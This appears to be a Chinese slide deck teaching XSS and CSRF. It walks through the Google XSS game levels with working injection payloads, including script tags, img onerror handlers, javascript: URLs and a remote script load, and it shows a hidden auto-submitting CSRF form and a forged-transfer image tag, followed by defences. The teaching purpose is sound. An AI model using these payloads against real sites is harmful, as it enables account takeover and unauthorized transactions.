XSS & CSRF

前端安全简介

24 July 2019

CJ Ting

XSS

2

定义

XSS 全称是 Cross Site Script,跨站点脚本,因为缩写和 CSS 重名,所以业界一般称为 XSS。

简单来说:在别人的网站执行任意 JS

3

举个栗子

一个典型的 反射型 XSS 漏洞。

xss-doc.appspot.com/demo/2

4

如果我是攻击者

我该怎样利用这个漏洞?

上面列出的是最明显的方法,攻防领域不断在演进,这是一个技巧和智慧层出不迭的领域。

5

执行任意 JS 有什么危害

6

XSS Lab

7

Level 1

xss-game.appspot.com/level1/frame

8

Level 1 Result

可以看到,网站对于用户输入完全不做任何处理。

<script>alert()</script>
9

Level 2

xss-game.appspot.com/level2/frame

10

Level 2 Result

这是一个典型的 存储型 XSS 漏洞。

这里牵涉到一个 JS 的小知识,通过 innerHTML 添加的 script 标签不会得到执行。

因此,我们需要使用别的标签来执行 JS,最方便的就是 img 标签。

<img src="" onerror="alert()" />
11

Level 3

xss-game.appspot.com/level3/frame

12

Level 3 Result

这是第三种类型的 XSS,DOM XSS。即完全不经过服务器,客户端代码直接从客户端取得输入。

https://xss-game.appspot.com/level3/frame#3.jpg'%20onload=%22alert()%22%20abc='
13

Level 4

xss-game.appspot.com/level4/frame

14

Level 4 Result

这一关需要观察网页的特征,查看源代码。

https://xss-game.appspot.com/level4/frame?timer=1%27)%3Balert(%27
15

Level 5

xss-game.appspot.com/level5/frame

16

Level 5 Result

同样需要研究源代码,寻找 XSS 漏洞。

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()
17

Level 6

xss-game.appspot.com/level6/frame

18

Level 6 Result

目标网站根据 URL 动态加载资源,虽然做了检查,但是百密一疏。

https://xss-game.appspot.com/level6/frame#//pastebin.com/raw/ApUeAjZg
19

防范

防范 XSS 的一个重要方法就是 Escape,转义。

对于任何用户输入的内容,都要认为不安全,并根据上下文进行转义。这是很繁重的工作,一般交给框架自动处理。

其他一些措施:

20

推荐一个小工具

XSS 很多时候攻击的一个要点是要绕过服务器的转义,因此,客户端转义就是一个很有效的手段。

xssor.io

21

CSRF

22

定义

CSRF 全称是 Cross-Site Request Forgery,跨站点请求伪造。

简单来说:诱导用户在目标网站上执行非本意操作

23

举个栗子

某个银行网站 A 的转账使用 GET /send?target=&amount= 接口,用户 B 已经登陆 A 网站。

我们诱导用户 B 点击链接 /send?target=me&amount=1000,那么,在一切不知情的情况下,用户将损失 1000 元。

或者,我们可以诱导用户访问某个页面,使用 <img src="/send?target=me&amount=1000" />

又或者,我们可以给用户发送一封电子邮件,等等等等。

24

GET 换成 POST

一般来说,操作资源的接口都是 POST,无法通过点击 URL 触发。

不要紧,我们可以构造页面,使用 form 自动提交。

<iframe style="display: none" name="iframe"></iframe>
<form action="https://www.baidu.com" method="post" target="iframe"></form>
<script type="text/javascript">
  document.querySelector("form").submit()
</script>

这里使用了 form 的 target 属性将结果显示在 iframe 中。

怎样诱导用户进入这个页面是技术以外的问题了。

25

防范

CSRF 的本质是第三方触发了用户对于目标网站的请求,该请求会携带 Cookie 因此鉴权不会有问题,从而导致了非用户本意的行为。

26

Anti-Forgery Token

服务端在渲染网页时,会生成一个 Token,存放着页面中以及 Cookie 中。

客户端在请求时,会携带这个 Token,服务端会校验,如果 Token 不匹配,说明该请求并非来自于我们自己的站点。

这个方案简单有效,而且一般来说框架可以替我们透明处理掉。

27

SameSite Cookie Attribute

Chrome 给 Set-Cookie 增加了一个新的属性 SameSite,取值如下:

28

总结

安全是非常复杂的问题,漏洞往往隐藏在细微之处。

事发之前,都是岁月静好,一切正常。

我们要做的就是

29

Thank you

CJ Ting

Use the left and right arrow keys or click the left and right edges of the page to navigate between slides.
(Press 'H' or navigate to hide this message.)